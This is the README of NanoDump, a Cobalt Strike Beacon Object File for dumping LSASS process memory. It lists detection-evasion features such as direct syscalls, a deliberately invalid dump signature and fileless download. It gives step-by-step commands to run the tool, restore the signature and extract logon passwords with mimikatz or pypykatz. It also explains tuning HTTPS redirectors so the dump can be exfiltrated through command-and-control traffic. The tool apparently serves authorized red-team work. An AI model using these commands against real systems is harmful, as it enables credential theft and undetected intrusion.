NanoDump

A Beacon Object File that creates a minidump of the LSASS process.

Features

• It uses syscalls (with SysWhispers2) for most operations
• You can choose to download the dump without touching disk or write it to a file
• The minidump by default has an invalid signature to avoid detection
• It reduces the size of the dump by ignoring irrelevant DLLs. The (nano)dump tends to be arround 10 MB in size
• You don't need to provide the PID of LSASS
• No calls to dbghelp or any other library are made, all the dump logic is implemented in nanodump
• You can use the .exe version to run nanodump outside of Cobalt Strike 😄

Usage

Clone

git clone https://github.com/helpsystems/nanodump.git

Compile (optional)

cd nanodump
make

Import

Import the NanoDump.cna script on Cobalt Strike.

Run

Run the nanodump command.

beacon> nanodump

Restore the signature

Once you downloaded the minidump, restore the invalid signature

bash restore_signature.sh <dumpfile>

get the secretz

mimikatz

To get the secrets simply run:

mimikatz # sekurlsa::minidump <dumpfile>
mimikatz # sekurlsa::logonPasswords full

pypykatz

If you prefer to stay on linux, you can use the python3 port of mimikatz called pypykatz.

python3 -m pypykatz lsa minidump <dumpfie>

Parameters

--pid -p < PID > (optional)

PID of lsass. If not entered, nanodump will find it dinamically.

--write -w < path > (optional)

Where to write the dumpfile. If this parameter is not provided, the dump will be downloaded in a fileless manner.

--valid -v (optional)

If entered, the minidump will have a valid signature.
If not entered, before analyzing the dump restore the signature of the dump, with: bash restore_signature.sh <dumpfile>

HTTPS redirectors

If you are using an HTTPS redirector (as you should), you might run into issues due to the size of the requests that leak the dump.
Increase the max size of requests on your web server to allow nanodump to download the dump.

NGINX

location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

<Directory "...">
    LimitRequestBody  52428800
</Directory>

Credits

• skelsec for writing minidump, which was crucial for learning the minidump file format.
• freefirex from CS-Situational-Awareness-BOF at Trustedsec for many cool tricks for BOFs
• Jackson_T for SysWhispers2